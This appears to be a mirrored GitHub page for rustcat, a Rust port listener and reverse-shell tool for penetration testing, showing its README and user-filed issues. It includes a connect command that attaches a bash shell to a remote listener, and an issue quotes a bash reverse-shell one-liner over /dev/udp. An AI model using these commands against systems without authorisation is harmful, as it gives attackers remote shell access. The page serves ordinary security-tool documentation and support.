Coder Social home page Coder Social logo

robiot / rustcat Goto Github PK

View Code? Open in Web Editor NEW
652.0 11.0 57.0 2.51 MB

Rustcat(rcat) - The modern Port listener and Reverse shell

Home Page: https://git.io/rustcat

License: GNU General Public License v3.0

Rust 92.91% Shell 7.09%
network netcat port-listener rust rustcat pentest-tool easy-to-use rcat linux windows

rustcat's Introduction

rustcat - The modern port listener and reverse shell

GitHub All Releases AUR version GitHub Issues GitHub Contributors

What is Rustcat

Rustcat is an easy to use port listener and reverse shell for Linux, MacOS, and Windows aimed to be easy to use and accessible.

image

Modes

  • Listen mode (listen);
  • Reverse shell mode (connect);

Features

  • Command history & Tab completion (Interactive mode);
  • CTRL-C blocking;
  • Colors;
  • Everything easy;

Installing

Check out the Installation Guide. Or if you want to have it portable, check out the latest release

Usage

The most basic and useful example to start listening on a port would be (you can even run vim inside rustcat with this):

rcat listen -ib 55600

and to connect:

rcat connect -s bash the.0.0.ip 55600

For some more basic usage, check here

Disclaimer

This tool may be used for educational purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

rustcat's People

Contributors

creedscode avatar invakid404 avatar irishmaestro avatar jonpaulhemi avatar leodog896 avatar pulme avatar robiot avatar saguywalker avatar unknowner0 avatar vn971 avatar willdoescode avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

rustcat's Issues

Command history

For example if you press up arrow it puts the last ran command

Emojify it

The thing is, it is colour full, but it could get a little bit more.
So the idea is to emojify it!

Kali/Debian install instruction not working.

This is the output of just pasting the Debian install script in the terminal:

Welcome to the Rustcat Debian installer
Curl installed, moving on...
Getting latest version...
Found rcat-3.0.0-linux-x86_64.deb
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- 0:00:07 --:--:-- 0
100 9 100 9 0 0 1 0 0:00:09 0:00:07 0:00:02 0
Reading package lists... Error!
E: Invalid archive signature
E: Internal error, could not locate member control.tar{.zst,.lz4,.gz,.xz,.bz2,.lzma,}
E: Could not read meta data from /tmp/rcat-3.0.0-linux-x86_64.deb
E: The package lists or status file could not be parsed or opened.
Failed to install

-E Option

Use rustcat itself as a reverse shell instead of /dev/tcp or any other

Cannot clear screen / No colors

I really love this tool but this tool is missing a few features.

  • I was able to clear screen with Ctrl + L with regular combination of rlwrap and ncat. I am not able to do the same with this.
  • There are no colors (with simple commands like ls -la. cannot highlight executables.)
  • What's wrong with arrow keys
    image

Hi I have a problem with the exe version

ISSUE TYPE : When I open the exe version for windows nothing happens it doesn't open

OS / ENVIRONMENT : 1. [Operating system: windows 2. [Rustcat version: lasted

`rc` binary name clashes with openrc

The rustcat binary name rc clashes with /sbin/rc on OpenRC systems, which may cause some weirdness if installed to a directory with higher precendence than /sbin for some reason.

I noticed this while packaging rustcat for Funtoo Linux, which is an OpenRC distro. We've decided to install rustcat in /usr/bin/rustcat instead of /usr/bin/rc for the time being. If this is something you even care about, considering an alternative name for the binary would be preferred. I thought I might let you know anyway :^)

UDP shell only recognises 1st input character

ISSUE TYPE:

  • Bug Report

OS / ENVIRONMENT:

  • Operating system: 5.14.5-arch1-1
  • Rustcat version: rustcat 1.2.0

STEPS TO REPRODUCE:

  1. (client) rc -ul localhost 1337
  2. (target) bash -c 'bash -i >& /dev/udp/localhost/1337 0>&1'
  3. (client)
    • type command & press enter
    • notice >> prompt with
      • only 1st typed character being repeated
      • command not being executed

EXPECTED BEHAVIOUR:

Normal shell behavior we all know.

ACTUAL BEHAVIOUR:

The 1st typed character is being "locked in". Meaning, to actually execute a command (e.g. pwd) one must:

  1. type 1st char (p) and enter
  2. type 2nd char (w) and enter
  3. type 3rd char (d) and enter
  4. enter to send the actual enter

image

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.